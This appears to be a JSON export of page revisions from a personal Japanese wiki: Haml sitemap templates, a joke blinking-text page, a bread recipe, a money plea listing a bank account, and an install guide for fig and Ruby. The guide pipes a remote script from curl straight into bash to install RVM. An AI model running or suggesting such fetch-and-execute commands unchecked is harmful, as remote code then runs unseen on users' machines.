id=\"spotlight_mainfb\"\u003e \r\n\u003cdiv id=\"splsentence\"\u003e \r\n\u003ch2\u003eあのゲームキャラクターが\u003cbr\u003eアニメの世界で大活躍\u003c/h2\u003e \r\n\u003cp class=\"lead\"\u003eより魅力的になった主人公たちをアニメで堪能しませんか。人気ゲームが原作のアニメを無料で一挙公開。\u003c/p\u003e \r\n\u003c/div\u003e \r\n\u003cdiv id=\"splimg\"\u003e\u003ca style=\"background-image: url(http://k.yimg.jp/images/streaming/free/spotlight/1104/28_10.jpg);\" class=\"imgfilter\" id=\"splimgfilter\" href=\"t/5047m0\"\u003eこみっくパーティー\u003c/a\u003e \r\n\u003cp\u003e\u003ca href=\"t/5047m9\"\u003e女子高生が同人誌活動\u003c/a\u003e\u003c/p\u003e\u003c/div\u003e \r\n\u003cul class=\"symbol\"\u003e \r\n\u003cli class=\"first\"\u003e\u003ca href=\"t/5047m1\"\u003e「聖杯戦争」に巻き込まれ\u003c/a\u003e\u003c/li\u003e \r\n\u003cli\u003e\u003ca href=\"t/5047m2\"\u003e夜になると羊のぬいぐるみに\u003c/a\u003e\u003c/li\u003e \r\n\u003cli\u003e\u003ca href=\"t/5047m3\"\u003e「黄昏の旅団」との出会い\u003c/a\u003e\u003c/li\u003e \r\n\u003cli\u003e\u003ca href=\"t/5047m4\"\u003e旧市街に隠された謎とは\u003c/a\u003e\u003c/li\u003e \r\n\u003cli\u003e\u003ca href=\"t/5047m5\"\u003e「龍脈」の影響で覚醒\u003c/a\u003e\u003c/li\u003e \r\n\u003cli\u003e\u003ca href=\"t/5047m6\"\u003e毎年6月、「綿流し」の日に\u003c/a\u003e\u003c/li\u003e \r\n\u003cli\u003e\u003ca href=\"t/5047m7\"\u003e舞台は北の大地、北海道\u003c/a\u003e\u003c/li\u003e \r\n\u003cli\u003e\u003ca href=\"t/5047m8\"\u003eハーモニカの音色に誘われて\u003c/a\u003e\u003c/li\u003e \r\n\u003c/ul\u003e\u003c/div\u003e \r\n\u003cdiv id=\"spotlight_bn1fb\" style=\"display: none;\"\u003e\u003c/div\u003e \r\n\u003cdiv id=\"spotlight_bn2fb\" style=\"display: none;\"\u003e\u003c/div\u003e \r\n\u003cdiv id=\"spotlight_bn3fb\" style=\"display: none;\"\u003e\u003c/div\u003e \r\n\u003cdiv id=\"spotlight_bn4fb\" style=\"display: none;\"\u003e\u003c/div\u003e \r\n\u003cdiv id=\"spotlight_bn5fb\" style=\"display: none;\"\u003e\u003c/div\u003e \r\n\u003c/div\u003e \r\n\u003cdiv id=\"splBkNum\" class=\"bkNum clfix\"\u003e \r\n\u003ch3 style=\"display: none;\"\u003e\u003ca href=\"#\" id=\"spotlight_main\"\u003eはじめの記事を表示\u003c/a\u003e\u003c/h3\u003e \r\n\u003cdl class=\"on\"\u003e\u003cdt\u003eほかの記事\u003c/dt\u003e\u003cdd class=\"tab\"\u003e\u003ca href=\"#\" id=\"spotlight_bn1\" hidefocus=\"true\"\u003e1\u003c/a\u003e\u003c/dd\u003e\u003cdd class=\"tab\"\u003e\u003ca href=\"#\" id=\"spotlight_bn2\" hidefocus=\"true\"\u003e2\u003c/a\u003e\u003c/dd\u003e\u003cdd class=\"tab\"\u003e\u003ca href=","created_at":"2011-05-18T13:05:30.000Z","updated_at":"2011-05-18T13:05:30.000Z"},{"id":1548,"name":"sitemap","body":"haml\r\n!!!\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - sitemap\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1 \r\n %a{:href =\u003e \"/\"}ssig33.com\r\n %h2 Sitemap\r\n -Page.select(\"distinct name\").each do |p|\r\n %p\r\n %a{:href =\u003e \"/#{p.name}\"}=p.title","created_at":"2011-05-18T13:09:29.000Z","updated_at":"2011-05-18T13:09:29.000Z"},{"id":1549,"name":"sitemap","body":"haml\r\n!!!\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - sitemap\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1 \r\n %a{:href =\u003e \"/\"}ssig33.com\r\n %h2 Sitemap\r\n -Page.select(\"distinct name\").each do |p|\r\n %p\r\n %a{:href =\u003e \"/#{p.name}\"}=p.title","created_at":"2011-05-18T13:09:35.000Z","updated_at":"2011-05-18T13:09:35.000Z"},{"id":1550,"name":"sitemap","body":"haml\r\n!!!\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - sitemap\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1 \r\n %a{:href =\u003e \"/\"}ssig33.com\r\n %h2 Sitemap\r\n -Page.select(\"distinct name\").each do |p|\r\n %p\r\n %a{:href =\u003e \"/#{p.name}\"}=p.title","created_at":"2011-05-18T13:09:42.000Z","updated_at":"2011-05-18T13:09:42.000Z"},{"id":1551,"name":"sitemap","body":"haml\r\n!!!\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - sitemap\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1 \r\n %a{:href =\u003e \"/\"}ssig33.com\r\n %h2 Sitemap\r\n -Page.select(\"distinct name\").each do |p|\r\n %p\r\n %a{:href =\u003e \"/#{p.name}\"}=p.title","created_at":"2011-05-18T13:10:05.000Z","updated_at":"2011-05-18T13:10:05.000Z"},{"id":1552,"name":"sitemap","body":"haml\r\n!!!\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - sitemap\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1 \r\n %a{:href =\u003e \"/\"}ssig33.com\r\n %h2 Sitemap\r\n -Page.select(\"distinct name\").each do |p|\r\n %p\r\n %a{:href =\u003e \"/#{p.name}\"}=p.name","created_at":"2011-05-18T13:10:20.000Z","updated_at":"2011-05-18T13:10:20.000Z"},{"id":1553,"name":"sitemap","body":"haml\r\n!!!\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - sitemap\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1 \r\n %a{:href =\u003e \"/\"}ssig33.com\r\n %h2 Sitemap\r\n -Page.select(\"distinct name\").each do |p|\r\n %p\r\n %a{:href =\u003e \"/#{p.name}\"}=p.title","created_at":"2011-05-18T13:10:28.000Z","updated_at":"2011-05-18T13:10:28.000Z"},{"id":1554,"name":"sitemap","body":"haml\r\n!!!\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - sitemap\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1 \r\n %a{:href =\u003e \"/\"}ssig33.com\r\n %h2 Sitemap\r\n -Page.select(\"distinct name\").each do |p|\r\n %p\r\n %a{:href =\u003e \"/#{p.name}\"}=p.name","created_at":"2011-05-18T13:10:36.000Z","updated_at":"2011-05-18T13:10:36.000Z"},{"id":1555,"name":"sitemap","body":"haml\r\n!!!\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - sitemap\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1 \r\n %a{:href =\u003e \"/\"}ssig33.com\r\n %h2 Sitemap\r\n -Page.select(\"distinct name\").each do |p|\r\n %p\r\n %a{:href =\u003e \"/#{p.name}\"}=p.html","created_at":"2011-05-18T13:12:35.000Z","updated_at":"2011-05-18T13:12:35.000Z"},{"id":1556,"name":"sitemap","body":"haml\r\n!!!\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - sitemap\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1 \r\n %a{:href =\u003e \"/\"}ssig33.com\r\n %h2 Sitemap\r\n -Page.select(\"distinct name\").each do |p|\r\n %p\r\n %a{:href =\u003e \"/#{p.name}\"}=p.body","created_at":"2011-05-18T13:12:58.000Z","updated_at":"2011-05-18T13:12:58.000Z"},{"id":1557,"name":"sitemap","body":"haml\r\n!!!\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - sitemap\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1 \r\n %a{:href =\u003e \"/\"}ssig33.com\r\n %h2 Sitemap\r\n -Page.select(\"distinct name\").each do |p|\r\n %p\r\n %a{:href =\u003e \"/#{p.name}\"}=Page.where(:name =\u003e p.name).order(\"created_at desc\").first.title","created_at":"2011-05-18T13:13:41.000Z","updated_at":"2011-05-18T13:13:41.000Z"},{"id":1558,"name":"fig_for_hayap","body":"title りあじゅうの為の fig 導入ガイド\r\n## 散々いろいろやっても入らなかった理由\r\n* fig が Ruby の開発者用パッケージに依存してるから\r\n\r\n## 解決策\r\nソースから Ruby を入れよう。難しくないです\r\n\r\n###1. 依存する deb パッケージの導入\r\n sudo apt-get update\r\n sudo apt-get install autoconf autotools-dev build-essential curl git-core libexpat1-dev libbz2-dev libncurses5-dev libreadline5-dev libsasl2-dev libssl-dev libxml2-dev libxslt1-dev ruby rubygems unzip zlib1g zlib1g-dev libhaml-ruby libsqlite3-dev\r\n\r\n微妙に関係ないものも入れてる気はしますが気にしないようにしましょう\r\n\r\n###2. Ruby をビルドして管理するツール rvm の導入\r\n bash \u003c \u003c(curl -s https://rvm.beginrescueend.com/install/rvm)\r\n\r\nそしたら .bashrc とか .zshrc とか使ってるシェルの設定ファイルに\r\n\r\n if [[ -s ${HOME}/.rvm/scripts/rvm ]] ; then source ${HOME}/.rvm/scripts/rvm ; fi\r\n\r\nと書いて\r\n\r\n source ~/.bashrc(or .zshrc or .cshrc)\r\n\r\n\r\nなどとしましょう。 csh とか使ってる場合は表記適宜変えてください\r\n\r\n最後に Ruby をビルドします。\r\n \r\n rvm install 1.9.2\r\n rvm use 1.9.2\r\n gem install bundler\r\n\r\n### fig の導入\r\nfig を clone してきたディレクトリで\r\n \r\n bundle install --path=vendor/bundle\r\n bundle exec ruby setup.rb\r\n\r\nとすると今度こそ使えると思います。なお fig を使う時はかならず\r\n \r\n rvm use 1.9.2\r\n\r\nをしてください","created_at":"2011-05-18T13:14:07.000Z","updated_at":"2011-05-18T13:14:07.000Z"},{"id":1559,"name":"message","body":"title 金くれ創始者小池陸からのメッセージをお読みください\r\n![金くれ](http://ssig33.com/data/2d7bbb62eb930907815114de063f39e6.png)\r\n\r\n# 金くれ!!\r\n\r\n# 楽天銀行 ビート支店 2028107 コイケ リク\r\n\r\n# [はてなポイントくれ!!](http://www.hatena.ne.jp/sendpoint?name=ssig33)\r\n\r\n![ミル貝](http://ssig33.com/data/bd8318cec7e6b1b12cb25cfaf09083cb.jpg)","created_at":"2011-05-18T13:14:34.000Z","updated_at":"2011-05-18T13:14:34.000Z"},{"id":1560,"name":"arakawatomonori","body":"title 荒川智則\r\n# そこにある荒川智則公式サイト\r\n同人サークル そこにある荒川智則 の公式サイトです。イベント関連の情報等を公開しています。\r\n\r\n# メンバー紹介\r\n## 荒川智則\r\nソフトウエア開発、ライター、デザイナー、ミュージシャン、作詞、DJ、VJなどとしてマルチに活躍中の新進アーティスト。\r\n\r\n## イベント参加予定\r\n### コミックマーケット 79\r\n#### 配置\r\n三日目東地区O-58b \r\n\r\n#### 頒布物\r\n* 破滅論電子書籍版(CD-R および SD カードでの頒布)\r\n* 糸柳が文学フリマで出してた本\r\n* 荒川智則大全(落ちた)\r\n* 荒川智則シール 100 枚セット(落ちた)","created_at":"2011-05-18T13:14:56.000Z","updated_at":"2011-05-18T13:14:56.000Z"},{"id":1561,"name":"bread_for_yumeko","body":"title 料理が出来ない yumeko さんでも出来る!!!パンの作り方\r\n# 料理が出来ない yumeko さんでも出来る!!!パンの作り方\r\n\r\n## まず気をつけること\r\n* 量はきっちり測れ!!!!!\r\n\r\n## 準備するもの\r\n* 強力粉 200g\r\n* オートミール(即席タイプのでもそうじゃなくてもいい) 50g\r\n* 砂糖(黄色の奴) 15g\r\n* ドライイースト(一時発酵がいらないと書いてある奴にしよう) 5g\r\n* 塩 5g\r\n* お湯(40 度ぐらい) 150cc\r\n* バター 10g\r\n* オリーブオイル 大匙一杯\r\n* 発酵機能(40 度ぐらいを維持出来るやつ)のあるオーブン\r\n* ボウル\r\n* クッキングシート\r\n\r\n## やること\r\n1. ボウルを用意する\r\n2. 強力粉、オートミール、砂糖、イースト、塩、バター、オリーブオイルをボウルに入れる\r\n3. お湯をボウルに入れる。この時お湯がイーストを直撃するようにするとよい\r\n4. こねる\r\n5. 手に付きまくるけどきにせずこねる\r\n6. なんとなくひとまとまりになってくる\r\n7. ボウルの中の生地にクッキングシートを被せる\r\n8. オーブンにボウルを入れる。発酵モードで 30 分あたためる\r\n9. 生地がデカくなってるのを確認したら、それっぽいサイズに分割して丸める\r\n10. 180 度で余熱して 16 分焼く\r\n11. できあがり!!!","created_at":"2011-05-18T13:15:15.000Z","updated_at":"2011-05-18T13:15:15.000Z"},{"id":1562,"name":"bread_for_yumeko","body":"title 料理が出来ない yumeko さんでも出来る!!!パンの作り方\r\n# 料理が出来ない yumeko さんでも出来る!!!パンの作り方\r\n\r\n## まず気をつけること\r\n* 量はきっちり測れ!!!!!\r\n\r\n## 準備するもの\r\n* 強力粉 200g\r\n* オートミール(即席タイプのでもそうじゃなくてもいい) 50g\r\n* 砂糖(黄色の奴) 15g\r\n* ドライイースト(一時発酵がいらないと書いてある奴にしよう) 5g\r\n* 塩 5g\r\n* お湯(40 度ぐらい) 150cc\r\n* バター 10g\r\n* オリーブオイル 大匙一杯\r\n* 発酵機能(40 度ぐらいを維持出来るやつ)のあるオーブン\r\n* ボウル\r\n* クッキングシート\r\n\r\n## やること\r\n1. ボウルを用意する\r\n2. 強力粉、オートミール、砂糖、イースト、塩、バター、オリーブオイルをボウルに入れる\r\n3. お湯をボウルに入れる。この時お湯がイーストを直撃するようにするとよい\r\n4. こねる\r\n5. 手に付きまくるけどきにせずこねる\r\n6. なんとなくひとまとまりになってくる\r\n7. ボウルの中の生地にクッキングシートを被せる\r\n8. オーブンにボウルを入れる。発酵モードで 30 分あたためる\r\n9. 生地がデカくなってるのを確認したら、それっぽいサイズに分割して丸める\r\n10. 180 度で余熱して 16 分焼く\r\n11. できあがり!!!","created_at":"2011-05-18T13:15:15.000Z","updated_at":"2011-05-18T13:15:15.000Z"},{"id":1563,"name":"福神づÿけ","body":"福神づÿけ","created_at":"2011-05-25T05:47:04.000Z","updated_at":"2011-05-25T05:47:04.000Z"},{"id":1564,"name":"福神づÿけ","body":"# 福神づÿけ","created_at":"2011-05-25T05:47:34.000Z","updated_at":"2011-05-25T05:47:34.000Z"},{"id":1565,"name":"だるい","body":"haml\r\n-# vim: set ft=haml:\r\n!!!\r\n%title だるい\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1\r\n %blink\r\n %marquee だるい\r\n","created_at":"2011-05-25T05:52:01.000Z","updated_at":"2011-05-25T05:52:01.000Z"},{"id":1566,"name":"だるい","body":"haml\r\n-# vim: set ft=haml:\r\n!!!\r\n%title だるい\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1\r\n %marquee \r\n %blink だるい\r\n","created_at":"2011-05-25T05:52:21.000Z","updated_at":"2011-05-25T05:52:21.000Z"},{"id":1567,"name":"だるい","body":"haml\r\n-# vim: set ft=haml:\r\n!!!\r\n%title だるい\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1\r\n %blink だるい\r\n","created_at":"2011-05-25T05:52:41.000Z","updated_at":"2011-05-25T05:52:41.000Z"},{"id":1568,"name":"だるい","body":"haml\r\n-# vim: set ft=haml:\r\n!!!\r\n%title だるい\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %blink だるい\r\n","created_at":"2011-05-25T05:53:06.000Z","updated_at":"2011-05-25T05:53:06.000Z"},{"id":1569,"name":"だるい","body":"haml\r\n-# vim: set ft=haml:\r\n!!!\r\n%title だるい\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1\r\n %marquee だるい\r\n %marquee だるい","created_at":"2011-05-25T05:53:22.000Z","updated_at":"2011-05-25T05:53:22.000Z"},{"id":1570,"name":"だるい","body":"haml\r\n-# vim: set ft=haml:\r\n!!!\r\n%title だるい\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1\r\n %marquee だるい\r\n %marquee だるい\r\n %span{:style =\u003e \"font-size:120px\"}だるい","created_at":"2011-05-25T05:53:43.000Z","updated_at":"2011-05-25T05:53:43.000Z"},{"id":1571,"name":"だるい","body":"haml\r\n-# vim: set ft=haml:\r\n!!!\r\n%title だるい\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1\r\n %marquee だるい\r\n %marquee だるい\r\n %marquee\r\n %span{:style =\u003e \"font-size:120px\"}だるい\r\n %span#iro だるい\r\n:javascript\r\n var darui = function(){\r\n var node = document.getElementById(\"iro\");\r\n var color = [\"red\",\"blue\",\"yellow\",\"black\",\"pink\",\"green\"][Math.round(Math.random()*(5-0))+0];\r\n node.style = \"font-size:240px;color:\"+color\";\";\r\n window.setTimeout(\"darui()\", 1)\r\n };\r\n darui();\r\n","created_at":"2011-05-25T05:57:29.000Z","updated_at":"2011-05-25T05:57:29.000Z"},{"id":1572,"name":"だるい","body":"haml\r\n-# vim: set ft=haml:\r\n!!!\r\n%title だるい\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1\r\n %marquee だるい\r\n %marquee だるい\r\n %marquee\r\n %span{:style =\u003e \"font-size:120px\"}だるい\r\n %span#iro だるい\r\n:javascript\r\n var darui = function(){\r\n var node = document.getElementById(\"iro\");\r\n var color = [\"red\",\"blue\",\"yellow\",\"black\",\"pink\",\"green\"][Math.round(Math.random()*(5-0))+0];\r\n node.style = \"font-size:240px;color:\"+color\";\";\r\n window.setTimeout(\"darui()\", 1)\r\n }\r\n darui();\r\n","created_at":"2011-05-25T05:57:39.000Z","updated_at":"2011-05-25T05:57:39.000Z"},{"id":1573,"name":"だるい","body":"haml\r\n-# vim: set ft=haml:\r\n!!!\r\n%title だるい\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1\r\n %marquee だるい\r\n %marquee だるい\r\n %marquee\r\n %span{:style =\u003e \"font-size:120px\"}だるい\r\n %span#iro だるい\r\n:javascript\r\n var darui = function(){\r\n var node = document.getElementById(\"iro\");\r\n var color = [\"red\",\"blue\",\"yellow\",\"black\",\"pink\",\"green\"][Math.round(Math.random()*(5-0))+0];\r\n node.style = \"font-size:240px;color:\"+color+\";\";\r\n window.setTimeout(\"darui()\", 1)\r\n }\r\n darui();\r\n","created_at":"2011-05-25T05:57:59.000Z","updated_at":"2011-05-25T05:57:59.000Z"},{"id":1574,"name":"だるい","body":"haml\r\n-# vim: set ft=haml:\r\n!!!\r\n%title だるい\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1\r\n %marquee だるい\r\n %marquee だるい\r\n %marquee\r\n %span{:style =\u003e \"font-size:120px\"}だるい\r\n %span#iro だるい\r\n:javascript\r\n var darui = function(){\r\n var node = document.getElementById(\"iro\");\r\n var color = [\"red\",\"blue\",\"yellow\",\"black\",\"pink\",\"green\"][Math.round(Math.random()*(5-0))+0];\r\n node.style.color = color;\r\n console.log(color);\r\n window.setTimeout(\"darui()\", 1)\r\n }\r\n darui();\r\n","created_at":"2011-05-25T05:58:48.000Z","updated_at":"2011-05-25T05:58:48.000Z"},{"id":1575,"name":"だるい","body":"haml\r\n-# vim: set ft=haml:\r\n!!!\r\n%title だるい\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1\r\n %marquee だるい\r\n %marquee だるい\r\n %marquee\r\n %span{:style =\u003e \"font-size:120px\"}だるい\r\n %span#iro{:style =\u003e \"font-size:240px\"} だるい\r\n:javascript\r\n var darui = function(){\r\n var node = document.getElementById(\"iro\");\r\n var color = [\"red\",\"blue\",\"yellow\",\"black\",\"pink\",\"green\"][Math.round(Math.random()*(5-0))+0];\r\n node.style.color = color;\r\n console.log(color);\r\n window.setTimeout(\"darui()\", 1)\r\n }\r\n darui();\r\n","created_at":"2011-05-25T05:59:10.000Z","updated_at":"2011-05-25T05:59:10.000Z"},{"id":1576,"name":"だるい","body":"haml\r\n-# vim: set ft=haml:\r\n!!!\r\n%title だるい\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1\r\n %marquee だるい\r\n %marquee だるい\r\n %marquee\r\n %span{:style =\u003e \"font-size:120px\"}だるい\r\n %span#iro{:style =\u003e \"font-size:240px\"} だるい\r\n:javascript\r\n var darui = function(){\r\n var node = document.getElementById(\"iro\");\r\n var color = [\"red\",\"blue\",\"yellow\",\"black\",\"pink\",\"green\"][Math.round(Math.random()*(5-0))+0];\r\n node.style.color = color;\r\n console.log(color);\r\n window.setTimeout(\"darui()\", 500)\r\n }\r\n darui();\r\n","created_at":"2011-05-25T05:59:17.000Z","updated_at":"2011-05-25T05:59:17.000Z"},{"id":1577,"name":"だるい","body":"haml\r\n-# vim: set ft=haml:\r\n!!!\r\n%title だるい\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1\r\n %marquee だるい\r\n %marquee だるい\r\n %marquee\r\n %span{:style =\u003e \"font-size:120px\"}だるい\r\n %span#iro{:style =\u003e \"font-size:240px\"} だるい\r\n:javascript\r\n var darui = function(){\r\n var node = document.getElementById(\"iro\");\r\n var color = [\"red\",\"blue\",\"yellow\",\"black\",\"pink\",\"green\"][Math.round(Math.random()*(5-0))+0];\r\n node.style.color = color;\r\n var body = document.getElementById(\"all\")\r\n var color = [\"red\",\"blue\",\"yellow\",\"black\",\"pink\",\"green\"][Math.round(Math.random()*(5-0))+0];\r\n body.style.color = color;\r\n window.setTimeout(\"darui()\", 500)\r\n }\r\n darui();\r\n","created_at":"2011-05-25T06:00:22.000Z","updated_at":"2011-05-25T06:00:22.000Z"},{"id":1578,"name":"だるい","body":"haml\r\n-# vim: set ft=haml:\r\n!!!\r\n%title だるい\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1\r\n %marquee だるい\r\n %marquee だるい\r\n %marquee\r\n %span{:style =\u003e \"font-size:120px\"}だるい\r\n %span#iro{:style =\u003e \"font-size:240px\"} だるい\r\n:javascript\r\n var darui = function(){\r\n var node = document.getElementById(\"iro\");\r\n var color = [\"red\",\"blue\",\"yellow\",\"black\",\"pink\",\"green\"][Math.round(Math.random()*(5-0))+0];\r\n node.style.color = color;\r\n var body = document.getElementById(\"all\")\r\n var color = [\"red\",\"blue\",\"yellow\",\"black\",\"pink\",\"green\"][Math.round(Math.random()*(5-0))+0];\r\n body.style['background-color'] = color;\r\n window.setTimeout(\"darui()\", 500)\r\n }\r\n darui();\r\n","created_at":"2011-05-25T06:00:44.000Z","updated_at":"2011-05-25T06:00:44.000Z"},{"id":1579,"name":"だるい","body":"haml\r\n-# vim: set ft=haml:\r\n!!!\r\n%title だるい\r\n%meta{:charset =\u003e 